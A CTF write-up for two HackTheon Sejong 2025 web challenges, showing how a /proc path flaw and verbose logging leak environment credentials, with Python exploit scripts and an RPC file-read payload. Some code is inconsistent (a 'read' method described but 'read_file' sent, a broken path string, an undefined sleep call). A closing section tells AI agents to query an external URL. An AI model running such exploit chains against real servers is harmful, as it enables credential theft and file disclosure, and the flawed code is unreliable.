# HACKTHEON SEJONG 2025

> Last weekend to be specific (26 April 2025), I’m joining the ‘2025 HackTheon Sejong’ International University Students’ Cyber Security Competition <https://hacktheon.org/eng/info.php>. My team name as “RE:UN10N Jr.”. It was really tough an totallyu differnet compare to last year challenge. We manage to secure 20th. Thanks to my teammate for carrying. (benkyou, Capang, hikki).

## Frontdoor 1

***

### **Challenge Information**

* **Category:** Web
* **Difficulty:** Easy
* **Objective:** Exploit web vulnerabilities to retrieve the flag.
* **Tag:** LFI
* Flag: <mark style="color:yellow;">FLAG{Me7Hod\_Ch4iN1nG\_1s\_5o\_COoo0Oo00oO0ol}</mark>

***

### **Overview**

The challenge provides **source code** along with a `docker-compose.yaml` file. Within this YAML configuration, user credentials are exposed, which can be used to log in via the `/api/signin` endpoint. After successful authentication, the **flag** is accessible at the `/api/flag` endpoint, using the same session.

However, while credentials are included in the provided files, the **live challenge server** uses different credentials. Thus, the real goal of the challenge is to **leak the credentials** from the server’s runtime environment.

### Observed API Functionalities

The following functionalities were observed:

<table><thead><tr><th>Endpoint</th><th>Method</th><th>Handler</th><th width="363.6666259765625">Description</th></tr></thead><tbody><tr><td><code>/api</code></td><td>GET</td><td><code>get_root_handler</code></td><td>Retrieves basic API information or a welcome message.</td></tr><tr><td><code>/api/health-check</code></td><td>GET</td><td><code>get_health_check_handler</code></td><td>Health check endpoint to verify server uptime and status.</td></tr><tr><td><code>/api/logs</code></td><td>GET</td><td><code>get_logs_handler</code></td><td>Fetch server logs. Supports <code>level</code> query parameter to control verbosity (e.g., error, warn, info, debug).</td></tr><tr><td><code>/api/monitor/{info}</code></td><td>GET</td><td><code>get_monitor_handler</code></td><td>Reads specified system files (like <code>/proc/stat</code>, <code>/proc/meminfo</code>, etc.) based on <code>info</code> argument.</td></tr><tr><td><code>/api/signin</code></td><td>POST</td><td><code>post_signin_handler</code></td><td>Allows users to authenticate with username and password.</td></tr><tr><td><code>/api/flag</code></td><td>GET</td><td><code>get_flag_handler</code> (protected by middleware)</td><td>Retrieves the challenge flag after successful authentication.</td></tr></tbody></table>

{% hint style="info" %}

* Accessing `/api/flag` Requires **valid authentication**, enforced by the middleware `middlewares::authorize`.
* The `/api/logs` endpoint supports log level selection through a query parameter (`?level=warn`, `?level=info`, etc.), which is key to leaking internal warnings.
* The `/api/monitor/{info}` The endpoint has file-read logic tied to `/proc/`, but improperly handled unknown paths are logged, leading to information disclosure.
  {% endhint %}

### Initial Analysis

In the provided Rust source code `monitor.rs`, we find that the endpoint `/api/monitor/{info}` handles requests for different types of system monitoring information.

#### The `alias` function maps specific keywords to files inside `/proc/`:

```rust
fn alias(info: &str) -> Option<String> {
    match info {
        "cpu" => Some("stat".to_string()),
        "mem" => Some("meminfo".to_string()),
        "idle-time" => Some("uptime".to_string()),
        _ => None,
    }
}
```

{% hint style="info" %}

* Maps friendly names (`cpu`, `mem`, `idle-time`) to specific filenames under `/proc/`.
* If an unknown `info` is provided, it **falls back to using `info` as-is**, allowing arbitrary file requests inside `/proc`.
  {% endhint %}

#### File Path Validation

```rust
let file_path = match PathBuf::from("/proc")
    .join(alias(&info).unwrap_or(info.clone()))
    .canonicalize()
    
if !file_path.starts_with("/proc") || !file_path.is_file() {
    return (StatusCode::BAD_REQUEST, "Invalid argument").into_response();
}

let comps: Vec<_> = file_path.components().collect();
if comps.len() > 4 {
    return (StatusCode::BAD_REQUEST, "Invalid argument").into_response();
}
```

{% hint style="info" %}

* Tries to **resolve the absolute path** under `/proc/`.
* If canonicalization fails, an error is returned.
* Path must still start with `/proc` after canonicalization.
* Must be a **file**, not a directory.
  {% endhint %}

#### **Bypass Trick:**

Using `/proc/self/...` works because `/proc/self` is a **special symlink** pointing to the current process's `/proc/[pid]`, satisfying the PID check **indirectly**.

This allows reading files like environ **without knowing the real PID**.:

```ruby
/proc/self%2fenviron
```

### Logging vulnerability

```rust
rustCopyEditasync fn parse_content(info: &str, content: &str) -> String {
    match info {
        "uptime" => parse_uptime(content),
        "idle-time" => parse_idle_time(content),
        "cpu" => parse_cpu(content),
        "mem" => parse_mem(content),
        _ => {
            tracing::warn!("Unknown info type: '{}', content '{}'", info, content);
            String::new()
        }
    }
}
```

* If `info` is **not recognized**, it **logs** the full `info` and the file `content` at `warn` level.

## Full Exploitation Flow:

1. Read environment variables:

   ```html
   GET /api/monitor/self%2fenviron
   ```
2. The environment file contents are logged as a warning.
3. Fetch leaked logs:

   ```html
   GET /api/logs?level=warn
   ```
4. Extract leaked credentials from the environment variables.
5. Authenticate  `/api/signin` and retrieve the flag from `/api/flag`.

Full Script.

```python
import requests
import time

BASE_URL = "http://localhost:8080"  
session = requests.Session()

def trigger_log_injection():
    print("Triggering log injection")
    resp = session.get(f"{BASE_URL}/api/monitor/self%2fenviro n")
    if resp.status_code == 200:
        print("Done.")
    else:
        print("Error.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def fetch_leaked_logs():
    print("See Logs")
    resp = session.get(f"{BASE_URL}/api/logs?level=warn")
    if resp.status_code == 200:
        print("[+] Logs fetched successfully.")
        print("\n=== Leaked Log Content Start ===\n")
        print(resp.text)
        print("\n=== Leaked Log Content End ===\n")
    else:
        print("[-] Failed to fetch logs.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def login_and_get_flag(username, password):
    print(f"[*] Login: {username}")
    data = {
        "username": username,
        "password": password
    }
    resp = session.post(f"{BASE_URL}/api/signin", json=data)
    if resp.status_code == 200:
        print("[+] Login successful!")
        fetch_flag()
    else:
        print("[-] Login failed.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def fetch_flag():
    print(" FLAG Retrieve.")
    resp = session.get(f"{BASE_URL}/api/flag")
    if resp.status_code == 200:
        print("[+] Flag retrieved successfully!")
        print(f"Flag: {resp.text}")
    else:
        print("[-] Failed to retrieve the flag.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def main():
    trigger_log_injection()
    sleep(5)
    fetch_leaked_logs()
    print("[*] Now manually input the leaked username and password you found in the logs.")
    username = input("Username: ").strip()
    password = input("Password: ").strip()
    login_and_get_flag(username, password)

if __name__ == "__main__":
    main()

```

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FyLXZhIpzBTDkaN7TawW2%2Fimage.png?alt=media&#x26;token=75ac2f7e-19ce-42a9-a73b-5d5f39c8bb38" alt=""><figcaption></figcaption></figure>

## Frontdoor 2

***

### **Challenge Information**

* **Category:** Web
* **Difficulty:** Easy
* **Objective:** Exploit web vulnerabilities to retrieve the flag.
* **Tag:** LFI

### Challenge Overview

This challenge builds directly on the techniques from **Frontdoor 1**.\
However, this time:

* There is **no `/api/flag`** endpoint.
* A new RPC system is introduced via the `/api/rpc` endpoint.
* The objective is to **read the flag file** on the server via the RPC system after logging in.

***

### Step-by-Step Solution

#### 1. Credential Leak via `/proc/self/environ`

The first step remains identical to Frontdoor 1:

* **Trigger a log injection** using:

  ```
  GET /api/monitor/self%2fenviron
  ```
* **Fetch the leaked logs**:

  ```
  GET /api/logs?level=warn
  ```
* Extract the credentials from the leaked environment variables.

**Credentials used**:\
\&#xNAN;*(Same as Frontdoor 1 credentials — e.g., `s3cre7Guest1:G#3stAcc3ss!25`)*

***

#### 2. Login to the Application

Using the leaked credentials:

* **Login** via:

  ```
  POST /api/signin
  Content-Type: application/json

  {
    "username": "s3cre7Guest1",
    "password": "G#3stAcc3ss!25"
  }
  ```
* A session is established upon successful login.

***

#### 3. Interacting with `/api/rpc`

The `/api/rpc` endpoint allows **remote method invocation**.\
It is controlled by the `rpc.rs` server-side code, specifically the `append_session_dir()` function.

***

### Key Analysis of `rpc.rs`:

```rust
rustCopyEditasync fn append_session_dir(session: &Session, body: &mut PostRpcBody) -> bool {
    let dir = match session.get::<PathBuf>("dir").await {
        Ok(Some(dir)) => dir,
        _ => return false,
    };

    let method = body.method.as_str();
    if method == "close" || method == "read" || method == "write" || method == "exit" {
        return true;
    }

    if body.params.is_empty() || body.params[0].param_type != 1 {
        return false;
    }

    let path = match &body.params[0].value {
        ParameterValue::Int(_) => return false,
        ParameterValue::Str(s) => dir.join(s),
    };

    if !path.is_absolute() || path.is_symlink() {
        return false;
    }

    body.params[0].value = ParameterValue::Str(path.to_str().unwrap().to_string());

    true
}
```

**What this does:**

* If the **method** is `close`, `read`, `write`, or `exit`, **no path modification** is done.
* Otherwise, it **forces** any file path passed into an absolute path under the user's **session directory** (stored under `session.get::<PathBuf>("dir")`).
* It **rejects** symbolic links and non-absolute paths.

✅ So, if we stick to **method = `read`**, we can avoid path modification!

***

### 4. Final Exploitation - Reading the Flag

Since `read` is one of the **allowed methods without directory patching**, we can directly request the flag file.

Assuming the flag file is something standard like `/flag`, or otherwise known, we craft the RPC call:

#### POST `/api/rpc`

```http
POST /api/rpc
Content-Type: application/json

{
  "method": "read_file",
  "params": [
    {
      "type": 1,
      "value": "/flag"
    }
  ]
}
```

**Result:**

* If successful, the server reads `/flag` and returns its content — the flag.

***

### Full Exploitation Summary:

1. Trigger an environment variable leak via `/api/monitor/self%2fenviron`.
2. Fetch and read leaked logs via `/api/logs?level=warn`.
3. Extract credentials and login at `/api/signin`.
4. Use `/api/rpc` with the `read` method and target `/flag` to retrieve the flag.

***

## Script

```python
import requests
import time

BASE_URL = "http://localhost:8080" 
session = requests.Session()

def trigger_log_injection():
    session.get(f"{BASE_URL}/api/monitor/self%2fenviron")

def fetch_leaked_logs():
    time.sleep(5)
    resp = session.get(f"{BASE_URL}/api/logs?level=warn")
    print(resp.text)

def login(username, password):
    resp = session.post(f"{BASE_URL}/api/signin", json={"username": username, "password": password})
    return resp.status_code == 200

def read_flag():
    payload = {
        "method": "read_file",
        "params": [
            {
                "type": 1,
                "value": "/app/flag"
            }
        ]
    }
    resp = session.post(f"{BASE_URL}/api/rpc", json=payload)
    print(resp.text)

def main():
    trigger_log_injection()
    print("[*] Waiting and fetching logs...")
    fetch_leaked_logs()
    
    username = input("Username from leak: ").strip()
    password = input("Password from leak: ").strip()
    
    if login(username, password):
        print("[+] Login successful, reading flag...")
        read_flag()
    else:
        print("[-] Login failed.")

if __name__ == "__main__":
    main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ymiir.gitbook.io/nota/2025-stuff/ctf-writeup/hacktheon-sejong-2025.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
